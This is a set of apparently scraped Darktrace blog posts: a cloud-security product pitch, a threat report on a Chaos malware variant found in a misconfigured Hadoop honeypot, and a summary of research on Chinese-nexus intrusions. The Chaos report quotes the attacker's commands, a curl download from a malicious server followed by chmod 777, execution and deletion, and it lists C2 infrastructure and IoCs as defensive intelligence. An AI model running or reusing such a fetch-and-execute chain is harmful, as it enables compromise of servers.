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November 1, 2023

The Case for Self-Learning AI in Cloud Security

AI that learns each unique cloud environment gives real-time visibility, contextual threat detection, and truly autonomous, cloud-native response — overcoming blind spots and limits of agentless or agent-based tools.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Nabil Zoldjalali
VP, Field CISO
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01
Nov 2023

Widespread use of the cloud continues to transform business, while cyber security solutions race to keep up. Today’s multi-cloud environments introduce complexity and gaps in visibility that open doors for attackers. Given the dynamic nature of the cloud, these blind spots are constantly changing. And given its scalability, simple mistakes like a minor misconfiguration can lead to disproportionately large security incidents.

Enterprises can no longer afford to rely on disparate tools and static, point-in-time views of risk. The cloud is inherently complex, and security tools shouldn’t aim to simplify that complexity, but instead harness it, using its scale and intricacy to its advantage.

In a world where the cloud is highly customizable and every cloud is different, a one-size-fits-all approach to cloud security fails to adapt to the nuances of an individual environment. This blog explores how harnessing AI that learns and understands the unique organization can give security teams the visibility, understanding, and real-time detection and response needed to secure the cloud.

Security hinges on action

Typically, cloud security tends to fall into one of two camps:

  • Agentless approaches used by most Cloud Security Posture Management (CSPM) vendors that promise quick and easy installation with minimal disruption of operations, and
  • Agent-based approaches that offer finer granularity but may mean a lengthy, time-consuming, and expensive set-up process.

Both approaches have inherent drawbacks. Agentless solutions typically don’t give security teams the real-time awareness needed to detect emerging threats – be that a malicious insider, a zero-day exploit, or something else. On the other hand, agent-based solutions provide limited reach and scalability, usually being deployed in an area of the cloud the security team already knew posed a risk, offering no new insight and leaving blind spots untouched.

So cloud security today seems to be stuck in a dilemma. And another issue for both methods is that these products may be able to alert analysts when something goes wrong, but lack the ability to mount a genuine response. Even newer solutions claiming to provide automated response are usually referring to automating the process of sending alerts and opening tickets.

Rapid response is the holy grail

The same attributes that make the cloud so useful and attractive to organizations – speed, agility, availability, and scale – hold a symmetrical appeal for attackers. When cyber-attacks in the cloud unfold rapidly, it’s not enough to simply open a ticket and wait for somebody on the other end to pick it up. (If anything, having to field too many tickets can actually bog down triage and investigation, and delay rather than hasten response.) The ultimate test for useful response comes down to whether or not the security team is willing to use it. Response capabilities that never get turned on, with security teams fearful of disruption, miss the point entirely.

Effective response requires an understanding of when and how to respond, as well as having the cloud-native mechanisms to carry out the action. We can break this down into three steps:

Step 1: Beyond Visibility: Real-Time Understanding

Today’s static cloud security solutions provide snapshots of your environment prior to integration and installation. Static insights help validate and set up controls before deployment, but the real risks related to cloud migration appear later.

To drive the right response, your security solution must deliver a real-time, holistic view of your organization’s cloud environment, not just a generic sense of what the environment looks like.

Understanding risk related to the cloud requires more than just visibility. It requires understanding the various patterns of behavior across the environment, and knowing the nuances in how applications and workloads are architected. Who has access to what? Which virtual machines typically connect with each other? Is this container behaving as expected? Is this new Lambda function expected?

Darktrace / CLOUD uses Self-Learning AI to see and understand your unique organization at the cloud network, architectural, and management layers. The ability of AI to recognize patterns across vast quantities of data puts it in a unique position to give security teams genuine insight into what’s happening in their cloud environment right now.

Each deployment and specific use of AI is different (based on your unique environment) but always includes an architectural view of your cloud footprint that aligns security and DevOps teams throughout the deployment lifecycle.  

One beta customer reported deploying Darktrace/Cloud was:

like flipping on a light switch in a dark room."

Step 2: Detection must apply context

With a true understanding of exactly what’s ‘normal’ in your cloud – which users are connecting to what resources, who has access to specific workloads, groups, overlaps, and privileges — the solution progresses toward response by teaching itself to spot what isn’t so normal.

A static snapshot of your cloud security posture can surface unpatched vulnerabilities and problematic misconfigurations, but the insight ends there. Cloud security solutions based on static views and point-in-time visibility can’t connect the dots to deliver the end-goal: the ability to spot real-time threats.

Darktrace/Cloud delivers meaningful insight into vulnerabilities and misconfigurations, but its real-time understanding also enables detection of emerging threats. And combining with other Darktrace modules like Darktrace / NETWORK and Darktrace/Email, it enriches these findings with business context to find and shut down emerging threats in seconds. This business-wide context to understand your cloud footprint and how it interacts with your on-premises infrastructure, endpoints, and applications

Step 3: Response must be truly autonomous

By understanding your unique cloud footprint within the context of your own business, Darktrace/Cloud uniquely detects when something unusual is occurring that requires a response right now.

The use of AI to understand your environment enables a truly autonomous and precise cloud-native response. The platform can take targeted action to stop only the threatening behaviors as they appear, without disrupting regular business operations.

Because the platform understands your complete cloud architecture, it also knows what cloud-native mechanisms are at its disposal to initiate a real response. Automated real-time responses include cloud-native actions like detaching EC2 instances and applying security groups to contain risky assets.

See it in action

Darktrace is offering 30-day free trials of Darktrace/Cloud that combine easy install with unprecedented understanding of multi-cloud environments. Click here to register your interest and experience the benefits first-hand.

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Nabil Zoldjalali
VP, Field CISO

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April 7, 2026

Darktrace Identifies New Chaos Malware Variant Exploiting Misconfigurations in the Cloud

Chaos Malware Variant Exploiting Misconfigurations in the CloudDefault blog imageDefault blog image

Introduction

To observe adversary behavior in real time, Darktrace operates a global honeypot network known as “CloudyPots”, designed to capture malicious activity across a wide range of services, protocols, and cloud platforms. These honeypots provide valuable insights into the techniques, tools, and malware actively targeting internet‑facing infrastructure.

One example of software targeted within Darktrace’s honeypots is Hadoop, an open-source framework developed by Apache that enables the distributed processing of large data sets across clusters of computers. In Darktrace’s honeypot environment, the Hadoop instance is intentionally misconfigured to allow attackers to achieve remote code execution on the service. In one example from March 2026, this enabled Darktrace to identify and further investigate activity linked to Chaos malware.

What is Chaos Malware?

First discovered by Lumen’s Black Lotus Labs, Chaos is a Go-based malware [1]. It is speculated to be of Chinese origin, based on Chinese language characters found within strings in the sample and the presence of zh-CN locale indicators. Based on code overlap, Chaos is likely an evolution of the Kaiji botnet.

Chaos has historically targeted routers and primarily spreads through SSH brute-forcing and known Common Vulnerabilities and Exposures (CVEs) in router software. It then utilizes infected devices as part of a Distributed Denial-of-Service (DDoS) botnet, as well as cryptomining.

Darktrace’s view of a Chaos Malware Compromise

The attack began when a threat actor sent a request to an endpoint on the Hadoop deployment to create a new application.

The initial infection being delivered to the unsecured endpoint.
Figure 1: The initial infection being delivered to the unsecured endpoint.

This defines a new application with an initial command to run inside the container, specified in the command field of the am-container-spec section. This, in turn, initiates several shell commands:

  • curl -L -O http://pan.tenire[.]com/down.php/7c49006c2e417f20c732409ead2d6cc0. - downloads a file from the attacker’s server, in this case a Chaos agent malware executable.
  • chmod 777 7c49006c2e417f20c732409ead2d6cc0. - sets permissions to allow all users to read, write, and execute the malware.
  • ./7c49006c2e417f20c732409ead2d6cc0. - executes the malware
  • rm -rf 7c49006c2e417f20c732409ead2d6cc0. - deletes the malware file from the disk to reduce traces of activity.

In practice, once this application is created an attacker-defined binary is downloaded from their server, executed on the system, and then removed to prevent forensic recovery. The domain pan.tenire[.]com has been previously observed in another campaign, dubbed “Operation Silk Lure”, which delivered the ValleyRAT Remote Access Trojan (RAT) via malicious job application resumes. Like Chaos, this campaign featured extensive Chinese characters throughout its stages, including within the fake resume themselves. The domain resolves to 107[.]189.10.219, a virtual private server (VPS) hosted in BuyVM’s Luxembourg location, a provider known for offering low-cost VPS services.

Analysis of the updated Chaos malware sample

Chaos has historically targeted routers and other edge devices, making compromises of Linux server environments a relatively new development. The sample observed by Darktrace in this compromise is a 64-bit ELF binary, while the majority of router hardware typically runs on ARM, MIPS, or PowerPC architecture and often 32-bit.

The malware sample used in the attack has undergone notable restructuring compared to earlier versions. The default namespace has been changed from “main_chaos” to just “main”, and several functions have been reworked. Despite these changes, the sample retains its core features, including persistence mechanisms established via systemd and a malicious keep-alive script stored at /boot/system.pub.

The creation of the systemd persistence service.
Figure 2: The creation of the systemd persistence service.

Likewise, the functions to perform DDoS attacks are still present, with methods that target the following protocols:

  • HTTP
  • TLS
  • TCP
  • UDP
  • WebSocket

However, several features such as the SSH spreader and vulnerability exploitation functions appear to have been removed. In addition, several functions that were previously believed to be inherited from Kaiji have also been changed, suggesting that the threat actors have either rewritten the malware or refactored it extensively.

A new function of the malware is a SOCKS proxy. When the malware receives a StartProxy command from the command-and-control (C2) server, it will begin listening on an attacker-controlled TCP port and operates as a SOCKS5 proxy. This enables the attacker to route their traffic via the compromised server and use it as a proxy. This capability offers several advantages: it enables the threat actor to launch attacks from the victim’s internet connection, making the activity appear to originate from the victim instead of the attacker, and it allows the attacker to pivot into internal networks only accessible from the compromised server.

The command processor for StartProxy. Due to endianness, the string is reversed.
Figure 3: The command processor for StartProxy. Due to endianness, the string is reversed.

In previous cases, other DDoS botnets, such as Aisuru, have been observed pivoting to offer proxying services to other cybercriminals. The creators of Chaos may have taken note of this trend and added similar functionality to expand their monetization options and enhance the capabilities of their own botnet, helping ensure they do not fall behind competing operators.

The sample contains an embedded domain, gmserver.osfc[.]org[.]cn, which it uses to resolve the IP of its C2 server.  At time or writing, the domain resolves to 70[.]39.181.70, an IP owned by NetLabel Global which is geolocated at Hong Kong.

Historically, the domain has also resolved to 154[.]26.209.250, owned by Kurun Cloud, a low-cost VPS provider that offers dedicated server rentals. The malware uses port 65111 for sending and receiving commands, although neither IP appears to be actively accepting connections on this port at the time of writing.

Key takeaways

While Chaos is not a new malware, its continued evolution highlights the dedication of cybercriminals to expand their botnets and enhance the capabilities at their disposal. Previously reported versions of Chaos malware already featured the ability to exploit a wide range of router CVEs, and its recent shift towards targeting Linux cloud-server vulnerabilities will further broaden its reach.

It is therefore important that security teams patch CVEs and ensure strong security configuration for applications deployed in the cloud, particularly as the cloud market continues to grow rapidly while available security tooling struggles to keep pace.

The recent shift in botnets such as Aisuru and Chaos to include proxy services as core features demonstrates that denial-of-service is no longer the only risk these botnets pose to organizations and their security teams. Proxies enable attackers to bypass rate limits and mask their tracks, enabling more complex forms of cybercrime while making it significantly harder for defenders to detect and block malicious campaigns.

Credit to Nathaniel Bill (Malware Research Engineer)
Edited by Ryan Traill (Content Manager)

Indicators of Compromise (IoCs)

ae457fc5e07195509f074fe45a6521e7fd9e4cd3cd43e42d10b0222b34f2de7a - Chaos Malware hash

182[.]90.229.95 - Attacker IP

pan.tenire[.]com (107[.]189.10.219) - Server hosting malicious binaries

gmserver.osfc[.]org[.]cn (70[.]39.181.70, 154[.]26.209.250) - Attacker C2 Server

References

[1] - https://blog.lumen.com/chaos-is-a-go-based-swiss-army-knife-of-malware/

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About the author
Nathaniel Bill
Malware Research Engineer

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April 2, 2026

How Chinese-Nexus Cyber Operations Have Evolved – And What It Means For Cyber Risk and Resilience 

Chinese-Nexus Cyber OperationsDefault blog imageDefault blog image

Cybersecurity has traditionally organized risk around incidents, breaches, campaigns, and threat groups. Those elements still matter—but if we fixate on individual incidents, we risk missing the shaping of the entire ecosystem. Nation‑state–aligned operators are increasingly using cyber operations to establish long-term strategic leverage, not just to execute isolated attacks or short‑term objectives.  

Our latest research, Crimson Echo, shifts the lens accordingly. Instead of dissecting campaigns, malware families, or actor labels as discrete events, the threat research team analyzed Chinese‑nexus activity as a continuum of behaviors over time. That broader view reveals how these operators position themselves within environments: quietly, patiently, and persistently—often preparing the ground long before any recognizable “incident” occurs.  

How Chinese-nexus cyber threats have changed over time

Chinese-nexus cyber activity has evolved in four phases over the past two decades. This ranges from early, high-volume operations in the 1990s and early 2000s to more structured, strategically-aligned activity in the 2010s, and now toward highly adaptive, identity-centric intrusions.  

Today’s phase is defined by scale, operational restraint, and persistence. Attackers are establishing access, evaluating its strategic value, and maintaining it over time. This reflects a broader shift: cyber operations are increasingly integrated into long-term economic and geopolitical strategies. Access to digital environments, specifically those tied to critical national infrastructure, supply chains, and advanced technology, has become a form of strategic leverage for the long-term.  

How Darktrace analysts took a behavioral approach to a complex problem

One of the challenges in analyzing nation-state cyber activity is attribution. Traditional approaches often rely on tracking specific threat groups, malware families, or infrastructure. But these change constantly, and in the case of Chinese-nexus operations, they often overlap.

Crimson Echo is the result of a retrospective analysis of three years of anomalous activity observed across the Darktrace fleet between July 2022 and September 2025. Using behavioral detection, threat hunting, open-source intelligence, and a structured attribution framework (the Darktrace Cybersecurity Attribution Framework), the team identified dozens of medium- to high-confidence cases and analyzed them for recurring operational patterns.  

This long-horizon, behavior-centric approach allows Darktrace to identify consistent patterns in how intrusions unfold, reinforcing that behavioral patterns that matter.  

What the data shows

Several clear trends emerged from the analysis:

  • Targeting is concentrated in strategically important sectors. Across the dataset, 88% of intrusions occurred in organizations classified as critical infrastructure, including transportation, critical manufacturing, telecommunications, government, healthcare, and Information Technology (IT) services.  
  • Strategically important Western economies are a primary focus. The US alone accounted for 22.5% of observed cases, and when combined with major European economies including Germany, Italy, Spain and the UK, over half of all intrusions (55%) were concentrated in these regions.  
  • Nearly 63% of intrusions of intrusions began with the exploitation of internet-facing systems, reinforcing the continued risk posed by externally exposed infrastructure.  

Two models of cyber operations

Across the dataset, Chinese-nexus activity followed two operational models.  

The first is best described as “smash and grab.” These are short-horizon intrusions optimized for speed. Attackers move quickly – often exfiltrating data within 48 hours – and prioritize scale over stealth. The median duration of these compromises is around 10 days. It’s clear they are willing to risk detection for short-term gain.  

The second is “low and slow.” These operations were less prevalent in the dataset, but potentially more consequential. Here, attackers prioritize persistence, establishing durable access through identity systems and legitimate administrative tools, so they can maintain access undetected for months or even years. In one notable case, the actor had fully compromised the environment and established persistence, only to resurface in the environment more than 600 days after. The operational pause underscores both the depth of the intrusion and the actor’s long‑term strategic intent. This suggests that cyber access is a strategic asset to preserve and leverage over time, and we observed these attacks most often inin sectors of the high strategic importance.  

It’s important to note that the same operational ecosystem can employ both models concurrently, selecting the appropriate model based on target value, urgency, intended access. The observation of a “smash and grab” model should not be solely interpreted as a failure of tradecraft, but instead an operational choice likely aligned with objectives. Where “low and slow” operations are optimized for patience, smash and grab is optimized for speed; both seemingly are deliberate operational choices, not necessarily indicators of capability.  

Rethinking cyber risk

For many organizations, cyber risk is still framed as a series of discrete events. Something happens, it is detected and contained, and the organization moves on. But persistent access, particularly in deeply interconnected environments that span cloud, identity-based SaaS and agentic systems, and complex supply chain networks, creates a major ongoing exposure risk. Even in the absence of disruption or data theft, that access can provide insight into operations, dependencies, and strategic decision-making. Cyber risk increasingly resembles long-term competitive intelligence.  

This has impact beyond the Security Operations Center. Organizations need to shift how they think about governance, visibility, and resilience, and treat cyber exposure as a structural business risk instead of an incident response challenge.  

What comes next

The goal of this research is to provide a clearer understanding of how these operations work, so defenders can recognize them earlier and respond more effectively. That includes shifting from tracking indicators to understanding behaviors, treating identity providers as critical infrastructure risks, expanding supplier oversight, investing in rapid containment capabilities, and more.  

Learn more about the findings of Darktrace’s latest research, Crimson Echo: Understanding Chinese-nexus Cyber Operations Through Behavioral Analysis, by downloading the full report and summaries for business leaders, CISOs, and SOC analysts here.  

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About the author
Nathaniel Jones
VP, Security & AI Strategy, Field CISO
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